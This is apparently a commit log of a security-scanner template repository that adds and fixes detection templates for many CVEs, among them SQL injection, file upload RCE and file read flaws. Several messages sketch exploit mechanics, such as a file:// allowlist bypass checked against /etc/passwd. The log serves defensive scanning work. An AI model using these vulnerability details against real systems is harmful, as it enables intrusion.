Aman Rawat 97beb9c8f8 Merge pull request #16107 from ydking0911/cves
CVE-2026-4060 - Geo Mashup Unauthenticated SQL Injection
2026-08-18 12:03:04 +05:30
ghost 407e8e6b74 chore: generate templates checksum 🤖 2026-08-18 05:46:09 +00:00
Aman Rawat 7b3d01322e Update CVE-2026-4060.yaml 2026-08-18 11:14:31 +05:30
ghost 7a5ae0cfed chore: generate new addition list 🤖 2026-08-18 05:44:22 +00:00
ghost 8004e1893d chore: generate CVEs metadata 🤖 2026-08-18 05:43:41 +00:00
ghost 5680e1f6b1 chore: sign templates 🤖 2026-08-18 05:43:38 +00:00
Aman Rawat 736c10b604 Merge pull request #16738 from Aryu-RU/add-cve-2026-13001
Added CVE-2026-13001 - Podlove Podcast Publisher <= 4.5.1 Arbitrary File Upload
2026-08-18 11:13:15 +05:30
ghost 627bf3058e chore: generate templates checksum 🤖 2026-08-18 05:40:15 +00:00
github-actions[bot] da3bcb7260 chore: add impact and remediation fields 🤖 2026-08-18 05:39:06 +00:00
ghost ed25639926 chore: generate CVEs metadata 🤖 2026-08-18 05:38:23 +00:00
ghost 14d91de341 chore: sign templates 🤖 2026-08-18 05:38:16 +00:00
ghost e98b1b5a39 chore: generate new addition list 🤖 2026-08-18 05:38:12 +00:00
Aman Rawat 1e01ee8fb4 Merge pull request #16755 from str4k3r/str4k3r/cve-2026-26217
Add CVE-2026-26217 template
2026-08-18 11:07:54 +05:30
ghost ae5b60daaf chore: generate CVEs metadata 🤖 2026-08-18 05:37:41 +00:00
ghost 845d116b5f chore: sign templates 🤖 2026-08-18 05:37:33 +00:00
Aman Rawat 2f710aaa81 Merge pull request #16916 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-71362.yaml - Adobe Commerce/Magento - Customer Session Identity Switch Account Takeover
2026-08-18 11:07:13 +05:30
Aman Rawat 0952e48c25 Merge pull request #16917 from projectdiscovery/Akokonunes-patch-10
Update CVE-2026-19900 .yaml - LB-LINK Routers - Unauthenticated Command Injection
2026-08-18 11:07:00 +05:30
Roberto Nunes 32a7137714 Update CVE-2026-12394.yaml 2026-08-18 12:40:17 +09:00
ghost c8b16f654d chore: update KEV and vKEV tags and metadata 🤖 2026-08-18 03:18:51 +00:00
ghost 5888d0539b chore: generate templates checksum 🤖 2026-08-18 03:12:10 +00:00
ghost b597eec8a0 chore: generate new addition list 🤖 2026-08-18 03:11:53 +00:00
ghost 2077b09deb chore: generate CVEs metadata 🤖 2026-08-18 03:11:29 +00:00
ghost 5ba37ec40d chore: sign templates 🤖 2026-08-18 03:11:19 +00:00
Dhiyaneshwaran 0caa406de7 Merge pull request #16783 from omarkurt/patch-17
Add CVE-2026-57827 - RSFiles! for Joomla - Unauthenticated Arbitrary File Upload RCE
2026-08-18 07:10:59 +04:00
ghost 0b8265bf62 chore: generate new addition list 🤖 2026-08-18 03:10:35 +00:00
ghost 2f548c22f0 chore: sign templates 🤖 2026-08-18 03:09:47 +00:00
Dhiyaneshwaran c342903d24 Merge pull request #16909 from Th3l0newolf/zulip
Add Zulip login panel
2026-08-18 07:09:27 +04:00
Muhammad Daffa 4a88fd08d4 Update email and password variable names in CVE YAML 2026-08-18 10:03:35 +07:00
ghost 6d234b8d5c chore: generate templates checksum 🤖 2026-08-18 03:02:27 +00:00
ghost c49d090cd5 chore: generate CVEs metadata 🤖 2026-08-18 03:01:49 +00:00
ghost eb6082e978 chore: sign templates 🤖 2026-08-18 03:01:40 +00:00
Roberto Nunes 92963880e3 Merge pull request #16746 from Aryu-RU/add-cve-2026-53753
Add CVE-2026-53753 Crawl4AI remote code execution
2026-08-18 12:01:19 +09:00
ghost 5a9a3426c7 chore: generate new addition list 🤖 2026-08-18 03:01:09 +00:00
Roberto Nunes 9c2b087888 Merge pull request #16906 from projectdiscovery/CVE-2026-52806
CVE-2026-52806 - Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection
2026-08-18 12:00:58 +09:00
Roberto Nunes 74a39f1a94 Merge pull request #16905 from projectdiscovery/CVE-2015-7501
CVE-2015-7501 - Red Hat JBoss - Insecure Deserialization
2026-08-18 12:00:53 +09:00
ghost b3304bc073 chore: generate CVEs metadata 🤖 2026-08-18 03:00:28 +00:00
ghost 99100866c9 chore: sign templates 🤖 2026-08-18 03:00:23 +00:00
ghost 73741df67a chore: generate new addition list 🤖 2026-08-18 03:00:12 +00:00
Roberto Nunes 0c403e5a6c Merge pull request #16904 from projectdiscovery/CVE-2019-1003030
CVE-2019-1003030 - Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
2026-08-18 12:00:03 +09:00
Roberto Nunes afdc6e7c21 Merge pull request #16886 from daffainfo/patch-233422
Broken CVE-2026-3395
2026-08-18 11:59:44 +09:00
ghost 8ee8a08cfd chore: sign templates 🤖 2026-08-18 02:59:29 +00:00
Roberto Nunes f17ee580a3 Merge pull request #16759 from br-flo/severity-audit-info-templates
Severity audit: raise 9 info-level templates based on independent CVE/CWE/vendor precedent
2026-08-18 11:59:05 +09:00
Roberto Nunes ee1e3669b9 Merge pull request #16815 from Boreas37/cve-2026-69084-siyuan
Add CVE-2026-69084 SiYuan searchEmbedBlock arbitrary SQL execution
2026-08-18 11:58:56 +09:00
ghost e1e470b4ac chore: update EPSS scores 🤖 2026-08-18 02:23:10 +00:00
Roberto Nunes 1dd854771c Update CVE-2026-19900 details and author 2026-08-18 09:40:51 +09:00
Roberto Nunes 3d0e6ae152 Create CVE-2026-71362.yaml 2026-08-18 09:35:08 +09:00
n3integration de83943e78 Misc: metadata updates 2026-08-17 18:32:34 -04:00
n3integration d09a7c017d CVE-2024-57726: update version check 2026-08-17 18:31:37 -04:00
Ritik Chaddha 6cfc56f0aa Update CVE-2026-4060.yaml 2026-08-17 23:17:07 +05:30
Ritik Chaddha 58498d55f6 Update CVE-2026-26217.yaml 2026-08-17 23:06:07 +05:30
Ritik Chaddha 12b3ffde70 Update CVE-2026-26217.yaml 2026-08-17 23:01:31 +05:30
Ritik Chaddha eec9362fb9 Update CVE-2026-57827.yaml 2026-08-17 22:57:21 +05:30
Ritik Chaddha ec1c95d005 Update CVE-2026-53753.yaml 2026-08-17 22:33:02 +05:30
Cole Munz fcb3fcb937 Fix wp-vr-view-xss and vrview-xss reporting XSS on hosts that escape the payload
The second request in both templates has three matchers. One looks for the
payload reflected in the body. The other two check content_type for text/html
and status 200. Neither block sets matchers-condition so nuclei falls back to
or, and since the content type and the status code hold for almost any HTML
page, both templates report high severity XSS whether or not the payload came
back unescaped. Set matchers-condition: and.
2026-08-17 12:00:52 -05:00
Ritik Chaddha 1e57d7c25b Update CVE-2026-13001.yaml 2026-08-17 22:22:59 +05:30
1dayexploit f8eb9f9716 Declare the Basic-auth credentials the template already used
username and password were referenced in both requests but never declared in
variables:, so a run without -var sent an empty 'Basic Og==' header. Nexus does
not accept that as a stateless credential, the request falls through to the
anti-CSRF filter, and the template surfaced 'Anti cross-site request forgery
token mismatch' instead of the finding - which is what @DhiyaneshGeek hit.

Both are now declared, defaulting to the delegated repo-admin account from the
reference lab, and the description states the requirement.
2026-08-17 16:11:04 +03:00
Aman Rawat 87a9928a40 Update CVE-2020-10204.yaml 2026-08-17 17:05:15 +05:30
Aman Rawat edf4c88ae8 Update CVE-2026-69084.yaml 2026-08-17 16:44:25 +05:30
Aman Rawat 6509dac0ed Update CVE-2026-3576.yaml 2026-08-17 16:40:27 +05:30
Aman Rawat 196a089ba3 Update zulip-login-panel.yaml 2026-08-17 16:30:23 +05:30
Aman Rawat 7484b91b1c Create CVE-2022-1281.yaml 2026-08-17 16:14:27 +05:30
ghost c0faffdf5b chore: generate templates checksum 🤖 2026-08-17 10:29:48 +00:00
ghost 265d2ed091 chore: generate new addition list 🤖 2026-08-17 10:27:44 +00:00
ghost f9f0a8d2ae chore: generate CVEs metadata 🤖 2026-08-17 10:27:03 +00:00
ghost 7856f69261 chore: sign templates 🤖 2026-08-17 10:26:55 +00:00
Aman Rawat 810c7ce271 Merge pull request #16846 from str4k3r/cve-2026-1115-ecosystem-20260812-v2
Add CVE-2026-1115 lollms authenticated stored XSS
2026-08-17 15:56:34 +05:30
Th3l0newolf [ Chinmay Divekar] d78bd979d5 Add Zulip login panel
Added a new YAML configuration for the Zulip login panel, including metadata and HTTP matchers.
2026-08-17 01:00:37 -07:00
Dishant4081 cc167ab457 fix(http/cves/2024): CVE-2024-52433 template cannot match a genuine my-geo-posts-free install 2026-08-17 13:10:06 +05:30
Roberto Nunes 0f58efccbf Update CVE-2026-1115 details and HTTP flow
The CVE entry for CVE-2026-1115 has been updated to reflect the vulnerability's nature, impact, and remediation steps more clearly. The description and tags have been refined, and additional matchers and extractors have been added to the HTTP flow.
2026-08-17 16:35:06 +09:00
Dhiyaneshwaran 0aba0cf73e Printers: add intrusive tag to vuln, misconfig, CVE and default-login templates
Printer templates that actively exploit or authenticate now carry the
`intrusive` tag, so they can be excluded from non-invasive scans:

- 18 CVEs (Kyocera, Lexmark, PaperCut, Sharp, Brother, Honeywell PM43,
  Ricoh, Canon Catwalk, Repetier, TITool PrintMonitor, CUPS)
- 10 misconfiguration/exposure (HP, AMR, OctoPrint, MFP eSCL, Repetier,
  Brother, Dell, PJL info leak)
- 5 vulnerabilities (IBM InfoPrint, C-Lodop, Kyocera, PaperCut log4j, Sharp)
- 10 default-logins (Canon, Fuji Xerox, HP, Ricoh, Samsung, Sato,
  Toshiba TopAccess, Xerox x2, Zebra) - these POST credentials and can
  trigger device lockout

Tag is inserted before the trailing `vuln` tag to match existing
convention. Detection-only templates are deliberately untouched:
exposed-panels, technologies, and the iot/ detect templates. Also skipped
CVE-2026-4480 (tagged `passive`, SMB banner check only).
2026-08-17 11:14:46 +04:00
Th3l0newolf [ Chinmay Divekar] ceea871758 Add easy TimePro login panel 2026-08-17 00:09:56 -07:00
ghost f6797b2923 chore: generate templates checksum 🤖 2026-08-17 06:43:34 +00:00
ghost 8c1c22d2c7 chore: sign templates 🤖 2026-08-17 06:41:11 +00:00
Aman Rawat b2b9e8d3aa Merge pull request #16888 from shreyas-malhotra/CVE-2026-21858
fix: CVE-2026-21858 - add /rest/sentry.js fallback for n8n 1.65.0-1.111.x detection
2026-08-17 12:10:51 +05:30
ghost 2cf38f0463 chore: generate templates checksum 🤖 2026-08-17 06:10:55 +00:00
ghost a9c5ed2aab chore: generate new addition list 🤖 2026-08-17 06:08:47 +00:00
ghost 6fabba510b chore: generate CVEs metadata 🤖 2026-08-17 06:07:59 +00:00
ghost 139bcc99bc chore: sign templates 🤖 2026-08-17 06:07:56 +00:00
Aman Rawat 056cb49736 Merge pull request #16883 from Popy21/template/cve-2025-26399
CVE-2025-26399
2026-08-17 11:37:35 +05:30
Aman Rawat c05421e8be Merge branch 'main' into CVE-2026-21858 2026-08-17 11:36:51 +05:30
Dhiyaneshwaran 5fac97cce8 CVE-2026-52806 - Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection 2026-08-17 09:32:50 +04:00
Dhiyaneshwaran b1dbc8075a CVE-2015-7501 - Red Hat JBoss - Insecure Deserialization 2026-08-17 09:12:59 +04:00
Dhiyaneshwaran d53a4b641f CVE-2019-1003030 - Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization 2026-08-17 08:49:14 +04:00
ghost ddc9f17bcd chore: generate templates checksum 🤖 2026-08-17 04:35:21 +00:00
ghost ede5ef7977 chore: generate new addition list 🤖 2026-08-17 04:33:24 +00:00
ghost 866a463dc9 chore: generate CVEs metadata 🤖 2026-08-17 04:32:45 +00:00
ghost de0da65cfe chore: sign templates 🤖 2026-08-17 04:32:39 +00:00
Dhiyaneshwaran 18b4c295c1 Merge pull request #16893 from str4k3r/str4k3r/cve-2026-16268
Add CVE-2026-16268 template
2026-08-17 10:02:15 +05:30
Dhiyaneshwaran 91f3b04934 Update CVE-2026-8237.yaml 2026-08-17 08:29:48 +04:00
Dhiyaneshwaran acb92278e2 Update CVE-2026-55087.yaml 2026-08-17 08:18:27 +04:00
Roberto Nunes ed00e89495 Update CVE-2026-16268.yaml 2026-08-17 13:07:25 +09:00
Roberto Nunes 7724bf8168 Update CVE-2026-16268.yaml 2026-08-17 13:03:02 +09:00
ghost 0477fa15dd chore: generate templates checksum 🤖 2026-08-17 04:00:36 +00:00
ghost b1e5f4dab1 chore: generate new addition list 🤖 2026-08-17 03:58:46 +00:00
Roberto Nunes f7477a0083 Update CVE-2026-8237.yaml 2026-08-17 12:58:20 +09:00
ghost 3cd34d25e9 chore: generate CVEs metadata 🤖 2026-08-17 03:58:05 +00:00
ghost 261e459908 chore: sign templates 🤖 2026-08-17 03:58:01 +00:00
Roberto Nunes 894ebf6e38 Merge pull request #16879 from PapButfly/cve-2025-0520
showdoc: upgrade CNVD-2020-26585 to CVE-2025-0520 with improved logic
2026-08-17 12:57:39 +09:00
ghost 241b831239 chore: update KEV and vKEV tags and metadata 🤖 2026-08-17 03:20:46 +00:00
Roberto Nunes 07bf46f163 Update CVE-2026-16268.yaml 2026-08-17 12:11:34 +09:00
Roberto Nunes 9ba72d6d7e Update CVE-2025-26399.yaml 2026-08-17 12:07:43 +09:00
ghost ebd5080889 chore: update EPSS scores 🤖 2026-08-17 02:25:55 +00:00
ghost 8a8bc3bfd3 chore: generate templates checksum 🤖 2026-08-17 01:40:31 +00:00
ghost 3704f19cf9 chore: generate new addition list 🤖 2026-08-17 01:39:44 +00:00
ghost de87d16a05 chore: generate new addition list 🤖 2026-08-17 01:39:12 +00:00
ghost 8a9e97e716 chore: generate CVEs metadata 🤖 2026-08-17 01:39:09 +00:00
ghost c907a64987 chore: sign templates 🤖 2026-08-17 01:39:06 +00:00
Roberto Nunes db40e618dc Merge pull request #16868 from Popy21/template/cve-2024-57726
CVE-2024-57726
2026-08-17 10:38:44 +09:00
ghost 18cb821aca chore: generate CVEs metadata 🤖 2026-08-17 01:38:27 +00:00
ghost 4be63d344c chore: sign templates 🤖 2026-08-17 01:38:19 +00:00
Roberto Nunes cb74e230c8 Merge pull request #16884 from Pauullamm/CVE-2026-6854
CVE-2026-6854 - My Calendar < 3.7.9 - Unauthenticated SQL Injection
2026-08-17 10:37:59 +09:00
ghost 9c2791bf0a chore: sign templates 🤖 2026-08-17 01:37:45 +00:00
Roberto Nunes 5e83de223e Merge pull request #16889 from DhiyaneshGeek/fix/move-invalid-cves-to-vulnerabilities
Move 22 invalid/rejected CVE templates to vulnerabilities
2026-08-17 10:37:23 +09:00
1dayexploit 9c6a8e534a Merge branch 'main' into cve-2026-17594 2026-08-17 01:49:09 +03:00
Paul Lam 63fdc46fd6 Add name 2026-08-16 20:20:37 +00:00
Paul Lam 387677c6c4 Add name 2026-08-16 20:20:09 +00:00
Paul Lam 27ee27ca2b Add CVE-2026-8237.yaml 2026-08-16 20:19:41 +00:00
mmadersbacher 3de2ca345e Added CVE-2020-10204 | Nexus Repository Manager 3 RCE 2026-08-16 21:33:13 +02:00
ghost effb83bbed chore: generate templates checksum 🤖 2026-08-16 19:30:26 +00:00
ghost d5e07375c2 chore: generate new addition list 🤖 2026-08-16 19:28:31 +00:00
ghost 2b4c74f616 chore: sign templates 🤖 2026-08-16 19:27:40 +00:00
Aman Rawat 1ebd7aa28e Merge pull request #16900 from projectdiscovery/geoserver-jsonarraycontains-sqli
GeoServer jsonArrayContains CQL Filter - SQL Injection
2026-08-17 00:57:16 +05:30
Dhiyaneshwaran bd7bd13940 GeoServer jsonArrayContains CQL Filter - SQL Injection
Updated author name and modified tags for clarity.
2026-08-16 14:29:57 +04:00
Aryu-RU 02de7d05d8 Add CVE-2026-3576 - Planyo Online Reservation System <= 3.0 - Arbitrary File Read
ulap.php is reachable without WordPress bootstrapping or authentication and
validates only the host of the supplied URL, never the scheme, so a
file://localhost/ URL passes the allowlist and is read back through the
file:// wrapper.

Detection is a single unauthenticated GET matched on the /etc/passwd oracle.
A patched 3.1 install still answers 200 with an error body, so the status code
alone is not a discriminator and the regex carries the match.
2026-08-16 05:38:47 +00:00
ghost 2ec9141238 chore: update KEV and vKEV tags and metadata 🤖 2026-08-16 03:20:40 +00:00
ghost a6b23a40b6 chore: update EPSS scores 🤖 2026-08-16 02:26:45 +00:00
Muhammad Haseeb 300405c43a Add CVE-2026-55087 Etherpad template 2026-08-16 06:19:45 +05:00
ST4RK 3397dc94b3 Add CVE-2026-8236 template 2026-08-15 15:45:06 +03:00
ST4RK 6258a1cd85 Add CVE-2026-16268 template 2026-08-15 15:45:01 +03:00
ST4RK 8f99ef2bc3 Add CVE-2026-0717 template 2026-08-15 15:44:56 +03:00
ghost 9090ee102e chore: update KEV and vKEV tags and metadata 🤖 2026-08-15 03:16:24 +00:00
ghost 8f7c08cefd chore: update EPSS scores 🤖 2026-08-15 02:21:45 +00:00
Billard 906787f66e feat: add CVE-2026-73034 DB-GPT path traversal file write 2026-08-15 00:16:32 +02:00
Boreas37 9b34e4ffd0 CVE-2026-69084: use read-only stacked SELECT instead of CREATE TABLE 2026-08-14 22:07:05 +03:00
ghost e84ce385bf chore: generate new addition list 🤖 2026-08-14 16:24:03 +00:00
ghost 896895b779 chore: generate new addition list 🤖 2026-08-14 16:23:59 +00:00
ghost d9e0c36565 chore: generate new addition list 🤖 2026-08-14 16:23:49 +00:00
ghost 4dc971a04e chore: generate CVEs metadata 🤖 2026-08-14 16:23:24 +00:00
Ritik Chaddha 373f2aed3b Merge pull request #16845 from str4k3r/cve-2026-10768-ecosystem-20260812-v2
Add CVE-2026-10768 Drupal LocalGov Workflows content disclosure
2026-08-14 21:53:00 +05:30
Ritik Chaddha 434ff39e81 Merge pull request #16806 from str4k3r/str4k3r/cve-2026-25231
CVE-2026-25231 - FileRise - Unauthenticated Arbitrary File Read
2026-08-14 21:52:51 +05:30
Ritik Chaddha c1e19c3c85 Merge pull request #16801 from str4k3r/str4k3r/cve-2026-61808
Add CVE-2026-61808 - LightRAG unauthenticated default exposure
2026-08-14 21:52:41 +05:30
ghost 6057e38003 chore: generate templates checksum 🤖 2026-08-14 16:16:19 +00:00
ghost 1c2aa9979a chore: generate new addition list 🤖 2026-08-14 16:15:58 +00:00
ghost a09c152974 chore: sign templates 🤖 2026-08-14 16:15:24 +00:00
Ritik Chaddha 38d317732c Merge pull request #16797 from ashish-cybersec/add-shiori-panel
Add Shiori Bookmarks Manager panel detection template
2026-08-14 21:45:03 +05:30
Ritik Chaddha 4f9c54fce0 Update CVE-2026-10768.yaml 2026-08-14 21:44:38 +05:30
ghost 188db5636e chore: generate new addition list 🤖 2026-08-14 16:13:54 +00:00
Ritik Chaddha aa373d8b14 Update CVE-2026-61808.yaml 2026-08-14 21:43:21 +05:30
ghost 14955c21d4 chore: generate CVEs metadata 🤖 2026-08-14 16:13:12 +00:00
ghost 049cb932a8 chore: sign templates 🤖 2026-08-14 16:13:08 +00:00
Ritik Chaddha 96de16d360 Merge pull request #16784 from str4k3r/str4k3r/cve-2026-2614
Add CVE-2026-2614: MLflow <= 3.9.0 unauthenticated arbitrary file read
2026-08-14 21:42:48 +05:30
Ritik Chaddha 84b2c571b7 Update CVE-2026-25231.yaml 2026-08-14 21:42:44 +05:30
ghost e2a75d9ab2 chore: generate templates checksum 🤖 2026-08-14 16:11:24 +00:00
Ritik Chaddha 75d60fdf76 Update CVE-2026-61808.yaml 2026-08-14 21:40:15 +05:30
ghost 58c98375c5 chore: generate new addition list 🤖 2026-08-14 16:09:30 +00:00
ghost 43f7379f89 chore: generate new addition list 🤖 2026-08-14 16:09:27 +00:00
ghost 27328c10c3 chore: generate new addition list 🤖 2026-08-14 16:09:18 +00:00
ghost 731906004c chore: generate new addition list 🤖 2026-08-14 16:09:09 +00:00
Ritik Chaddha 3883bc4d47 Update shiori-panel.yaml 2026-08-14 21:38:51 +05:30
ghost 454c8d1623 chore: generate CVEs metadata 🤖 2026-08-14 16:08:51 +00:00
ghost 253b2a7e65 chore: sign templates 🤖 2026-08-14 16:08:43 +00:00
Ritik Chaddha 03a29032eb Merge pull request #16778 from str4k3r/str4k3r/cve-65919
Add CVE-2026-65919: Meshery <1.0.57 unauthenticated arbitrary file read
2026-08-14 21:38:22 +05:30
Ritik Chaddha a6e71b9bca Merge pull request #16763 from str4k3r/str4k3r/cve-2026-40280
Add CVE-2026-40280 template
2026-08-14 21:38:17 +05:30
Ritik Chaddha c719784427 Merge pull request #16760 from projectdiscovery/Akokonunes-patch-14
Create CVE-2026-17532.yaml - Seraphinite Accelerator <= 2.29.18 - Unauthenticated XSS
2026-08-14 21:38:03 +05:30
Ritik Chaddha 75a27c7294 Merge pull request #16794 from str4k3r/str4k3r/cve-2026-27796
Add CVE-2026-27796: Homarr < 1.54.0 unauthenticated integration config disclosure
2026-08-14 21:37:53 +05:30
Ritik Chaddha e930b2e97c Update CVE-2026-2614.yaml 2026-08-14 21:36:47 +05:30
Ritik Chaddha 007f70af80 Update CVE-2026-65919.yaml 2026-08-14 21:33:53 +05:30
Ritik Chaddha 20e3a3a837 Update CVE-2026-40280.yaml 2026-08-14 21:32:42 +05:30
ghost ba1e61f74d chore: generate templates checksum 🤖 2026-08-14 16:02:28 +00:00
Ritik Chaddha 367f63f62c Update CVE-2026-17532.yaml 2026-08-14 21:31:30 +05:30
ghost 8c683fb82a chore: generate new addition list 🤖 2026-08-14 16:00:17 +00:00
ghost 4c2b6fef68 chore: generate CVEs metadata 🤖 2026-08-14 15:59:47 +00:00
ghost 18175aaa4d chore: sign templates 🤖 2026-08-14 15:59:34 +00:00
Ritik Chaddha 064c10ca1f Merge pull request #16692 from projectdiscovery/CVE-2026-27542
CVE-2026-27542 - WooCommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Privilege Escalation
2026-08-14 21:29:10 +05:30
Dhiyaneshwaran 180099ea2d move 22 invalid/rejected CVE templates to vulnerabilities
Templates with CVE IDs that are either rejected or not found in NVD
have been renamed and moved to http/vulnerabilities/ folder.

Rejected in NVD (8): CVE-2022-29299, CVE-2022-29301, CVE-2022-38322,
CVE-2023-24367, CVE-2024-0713, CVE-2024-12760, CVE-2024-57050,
CVE-2025-34085

Not found in NVD (14): CVE-2018-10818, CVE-2018-16341, CVE-2021-26292,
CVE-2021-27748, CVE-2021-28073, CVE-2021-28854, CVE-2021-44910,
CVE-2023-1434, CVE-2023-39024, CVE-2023-39120, CVE-2024-23163,
CVE-2024-23167, CVE-2024-25669, CVE-2025-32101

Closes #16115
2026-08-14 18:10:00 +05:30
Dhiyaneshwaran 43619cfaee Update CVE-2026-21858.yaml with request limits and tags 2026-08-14 17:42:21 +05:30
Dhiyaneshwaran 494f15b76e Update CVE-2026-6854.yaml 2026-08-14 17:31:05 +05:30
Shreyas Malhotra b07893e752 fix: CVE-2026-21858 - add /rest/sentry.js fallback for n8n 1.65.0-1.111.x detection
The original template only detected n8n 1.112.0+ via the <meta name="n8n:config:sentry"> tag on /signin. Versions 1.65.0-1.111.x serve version via /rest/sentry.js instead, causing false negatives for the full vulnerable range (>= 1.65.0, < 1.121.0).

Added second HTTP block querying /rest/sentry.js which returns {"release":"X.Y.Z"}. Both blocks validate against same version range.
2026-08-14 16:53:41 +05:30
Muhammad Daffa 3c9cdb882b Format raw HTTP request for CVE-2026-3395 2026-08-14 18:01:39 +07:00
Muhammad Daffa b1265b5874 Broken CVE-2026-3395 2026-08-14 18:00:12 +07:00
Dhiyaneshwaran 2289d3fb80 Revise CVE-2026-6854 YAML with detailed description
Updated vulnerability details and remediation for CVE-2026-6854.
2026-08-14 16:02:45 +05:30
Paul Lam 2cc0447b8e Draft CVE-2026-6854.yaml 2026-08-14 10:45:30 +01:00
Adel Bouachraoui b11462a11c CVE-2025-26399 — add detection template 2026-08-14 11:20:02 +02:00
ghost bb4fd0cd00 chore: generate templates checksum 🤖 2026-08-14 07:18:06 +00:00
ghost 1de8f9df80 chore: generate new addition list 🤖 2026-08-14 07:16:30 +00:00
ghost b2cf901e1d chore: sign templates 🤖 2026-08-14 07:15:37 +00:00
Dhiyaneshwaran dddec3891b Merge pull request #16819 from righettod/openshift_add
Add detection of "OpenShift console monitoring plugin" instances.
2026-08-14 12:45:17 +05:30
Dhiyaneshwaran 59bb0a08f2 Rename OpenShift Monitoring Plugin to include 'Detect' 2026-08-14 12:37:20 +05:30
ghost cb36492485 chore: generate templates checksum 🤖 2026-08-14 05:12:51 +00:00
Aman Rawat a90dee415b Update CVE-2025-0520.yaml 2026-08-14 10:42:09 +05:30
ghost 0be2b4910c chore: generate new addition list 🤖 2026-08-14 05:10:54 +00:00
ghost 61942862ab chore: generate CVEs metadata 🤖 2026-08-14 05:10:12 +00:00
ghost 631b951599 chore: sign templates 🤖 2026-08-14 05:10:06 +00:00
Dhiyaneshwaran fe33826207 Merge pull request #16770 from str4k3r/str4k3r/cve-2026-41432
Add CVE-2026-41432 template
2026-08-14 10:39:43 +05:30
Aman Rawat 252eeed163 Update openshift-monitoring-plugin-detect.yaml 2026-08-14 10:31:34 +05:30
ghost cbbf5f3983 chore: generate templates checksum 🤖 2026-08-14 04:59:08 +00:00
ghost e61fd6f4b3 chore: generate new addition list 🤖 2026-08-14 04:57:01 +00:00
ghost 37a67208c8 chore: generate new addition list 🤖 2026-08-14 04:56:43 +00:00
ghost 71c7f36a12 chore: sign templates 🤖 2026-08-14 04:56:27 +00:00
Aman Rawat 442a333561 Merge pull request #16880 from matejsmycka/patch-1
Update WSDL API path
2026-08-14 10:25:59 +05:30
Aman Rawat 81b4a0ae08 Merge pull request #16854 from str4k3r/cve-2026-14483-ecosystem-20260812-v2
Add CVE-2026-14483 WPL WordPress unauthenticated file upload
2026-08-14 10:25:48 +05:30
Aman Rawat 2bd0a691c2 Merge pull request #16882 from projectdiscovery/Akokonunes-patch-7
Create CVE-2025-13342.yaml - DynamiApps Frontend Admin <= 3.28.20 - Unauthenticated Arbitrary Options Update
2026-08-14 10:25:31 +05:30
Aman Rawat a1e26fba0f Update CVE-2024-57726.yaml 2026-08-14 10:23:39 +05:30
Roberto Nunes 9b516c2cfd Refactor CVE-2025-13342 HTTP request structure
Refactor HTTP requests to use a structured payload with attack type and paths. Update matchers and conditions for better clarity and functionality.
2026-08-14 13:42:17 +09:00
ghost 93008a8e6e chore: generate templates checksum 🤖 2026-08-14 04:06:01 +00:00
ghost 43741e1cf8 chore: sign templates 🤖 2026-08-14 04:03:22 +00:00
Roberto Nunes 00207018aa Merge pull request #16753 from PalmOla/patch-3
Implement error checks for SNMP response validity
2026-08-14 13:02:58 +09:00
ghost 8190633132 chore: update KEV and vKEV tags and metadata 🤖 2026-08-14 03:45:55 +00:00
Roberto Nunes 51d396174e Update snmpv3-detect.yaml 2026-08-14 12:43:26 +09:00
ghost ea8e8e2660 chore: generate templates checksum 🤖 2026-08-14 03:40:42 +00:00
ghost 385c453927 chore: generate new addition list 🤖 2026-08-14 03:38:56 +00:00
ghost 1ebea27f5e chore: generate new addition list 🤖 2026-08-14 03:38:35 +00:00
ghost b89751c097 chore: generate CVEs metadata 🤖 2026-08-14 03:38:09 +00:00
ghost 635878067b chore: sign templates 🤖 2026-08-14 03:38:04 +00:00
Roberto Nunes 8ad171e7b2 Merge pull request #16876 from projectdiscovery/CVE-2026-49049
CVE-2026-49049 - JoomShaper Helix3 <=3.1.0 - Unauthenticated Arbitrary JSON File Write
2026-08-14 12:37:43 +09:00
ghost e1f1dd8a5f chore: generate CVEs metadata 🤖 2026-08-14 03:37:40 +00:00
ghost dfb66ebf14 chore: generate new addition list 🤖 2026-08-14 03:37:31 +00:00
Roberto Nunes af1f33cedf Merge pull request #16802 from str4k3r/cve-2026-45332-automad
CVE-2026-45332 - Automad < 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure
2026-08-14 12:37:25 +09:00
Roberto Nunes 20b7b4ee91 Merge pull request #16875 from shreyas-malhotra/patch-4
fix: update max-request counter for CVE-2021-40822
2026-08-14 12:37:05 +09:00
ghost c4acb13388 chore: generate new addition list 🤖 2026-08-14 03:36:56 +00:00
ghost 1b5f718d38 chore: generate CVEs metadata 🤖 2026-08-14 03:36:43 +00:00
Roberto Nunes 5bb49c3b01 Merge pull request #16874 from projectdiscovery/CVE-2026-58644
CVE-2026-58644 - Microsoft SharePoint Server - WS-Federation BinaryFo…
2026-08-14 12:36:21 +09:00
Roberto Nunes ed8f01173b Merge pull request #16780 from righettod/argocd-upd
Refactor the "ARGO CD" template.
2026-08-14 12:36:01 +09:00
Roberto Nunes ae21faa1e1 Update CVE-2026-41432.yaml 2026-08-14 12:29:46 +09:00
Roberto Nunes 2c429cb997 Revise CVE-2026-41432 details and remediation
Updated the CVE entry for CVE-2026-41432 to reflect the vulnerability details and remediation steps more clearly.
2026-08-14 12:26:43 +09:00
Roberto Nunes 6b7bd82939 Update CVE-2026-14483.yaml 2026-08-14 12:08:33 +09:00
ghost 51265bbf1e chore: update EPSS scores 🤖 2026-08-14 02:51:20 +00:00
Roberto Nunes 6a330799d2 Update CVE-2025-13342 description for clarity 2026-08-14 11:16:52 +09:00
Roberto Nunes cc431e435c Increase max-request limit from 1 to 2 2026-08-14 11:12:12 +09:00
Roberto Nunes 9505635704 Update wsdl-api.yaml 2026-08-14 11:11:07 +09:00
Matej Smycka 7e0c326d5d Update WSDL API path
Added an additional author and updated the path for WSDL API.
2026-08-13 17:54:43 +02:00
ben 8c13a6d2b0 showdoc: upgrade CNVD-2020-26585 to CVE-2025-0520 with improved logic 2026-08-13 20:38:13 +08:00
ghost cd5dcc12e6 chore: generate templates checksum 🤖 2026-08-13 12:26:44 +00:00
ghost 9ea0f8dacd chore: sign templates 🤖 2026-08-13 12:26:02 +00:00
ghost 865bb70f4c chore: generate CVEs metadata 🤖 2026-08-13 12:25:53 +00:00
Aman Rawat a1d2ec54ae Merge pull request #16877 from projectdiscovery/CVE-2024-56064
